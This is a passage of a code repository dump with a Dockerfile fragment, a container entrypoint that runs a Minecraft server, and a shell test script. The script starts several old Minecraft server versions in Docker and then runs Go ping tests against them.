/ 10 | RUN adduser -D server && chown -R server:server /server 11 | 12 | USER server:server 13 | EXPOSE 25565 14 | ENV EULA=false JAVA_OPTS="-Xmx256M -Xms128M" 15 | STOPSIGNAL SIGINT 16 | ENTRYPOINT [ "/docker_entrypoint.sh" ] -------------------------------------------------------------------------------- /test/docker/docker_entrypoint.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | if [ "$EULA" = "true" ] && [ ! -e "/server/eula.txt" ]; then 3 | printf "%s" "eula=true" >"/server/eula.txt" 4 | fi 5 | 6 | # shellcheck disable=SC2164 7 | cd "/server" 8 | # shellcheck disable=SC2086 9 | java $JAVA_OPTS -jar "/server/server.jar" "nogui" 2>&1 | while read -r line; do 10 | echo "$line" 11 | if printf "%s" "$line" | grep -Eq '\[(.*/)?INFO]:? Done'; then 12 | printf "%s" "1" >> "/server/ready" 13 | fi 14 | done 15 | -------------------------------------------------------------------------------- /test/test_pings.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | version_k=("1.7.2" "1.6.2" "1.4.2" "1.2.5") 3 | declare -A versions 4 | versions=( 5 | ["1.7.2"]="https://launcher.mojang.com/mc/game/1.7.2/server/3716cac82982e7c2eb09f83028b555e9ea606002/server.jar" 6 | ["1.6.2"]="https://launcher.mojang.com/mc/game/1.6.2/server/01b6ea555c6978e6713e2a2dfd7fe19b1449ca54/server.jar" 7 | ["1.4.2"]="https://launcher.mojang.com/mc/game/1.4.2/server/5be700523a729bb78ef99206fb480a63dcd09825/server.jar" 8 | ["1.2.5"]="https://launcher.mojang.com/mc/game/1.2.5/server/d8321edc9470e56b8ad5c67bbd16beba25843336/server.jar" 9 | ) 10 | 11 | echo "Building server Docker images." 12 | for ver in "${version_k[@]}"; do 13 | docker build -t "minecraft:$ver" --build-arg SERVER_URL="${versions[$ver]}" "test/docker" >/dev/null 2>&1 & 14 | done 15 | wait 16 | 17 | echo "Starting Docker containers." 18 | mkfifo -m a+rw /tmp/mcready 19 | port=25565 20 | for ver in "${version_k[@]}"; do 21 | containers+=("$(docker run -d --rm -p "$port:25565" -e EULA=true -v "/tmp/mcready:/server/ready" "minecraft:$ver")") 22 | port="$((port + 1))" 23 | done 24 | 25 | cleanup() { 26 | rm "/tmp/mcready" 27 | for cont in "${containers[@]}"; do { docker stop -t 0 "$cont" >/dev/null 2>&1 & } done 28 | for ver in "${version_k[@]}"; do { docker image rm "minecraft:$ver" >/dev/null 2>&1 & } done 29 | } 30 | trap cleanup EXIT 31 | 32 | echo "Waiting for test servers to start." 33 | nf= 34 | while [ "${#nf}" -lt "${#version_k[@]}" ]; do 35 | nf="$nf$(cat "/tmp/mcready")" 36 | done 37 | 38 | go test -v "./..." 39 | --------------------------------------------------------------------------------